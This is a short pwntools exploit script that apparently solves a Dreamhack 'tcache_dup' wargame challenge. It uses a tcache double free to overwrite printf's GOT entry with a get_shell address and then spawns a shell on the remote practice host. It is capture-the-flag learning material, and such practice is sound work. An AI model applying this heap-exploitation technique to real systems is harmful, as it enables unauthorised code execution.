from pwn import *

p = remote("host3.dreamhack.games", 11786)
e = ELF("./tcache_dup")

def create(size,data):
    p.sendlineafter(">", str(1))
    p.sendlineafter("Size: ", str(size))
    p.sendafter("Data: ", data)

def delete(idx):
    p.sendlineafter(">", str(2))
    p.sendlineafter("idx:", str(idx))

get_shell = e.symbols['get_shell']
print_got = e.got['printf']

create(48, b"a"*0x8)
delete(0)
delete(0)

create(48,p64(print_got))
create(48,b'a'*8)

create(48, p64(get_shell))

p.interactive()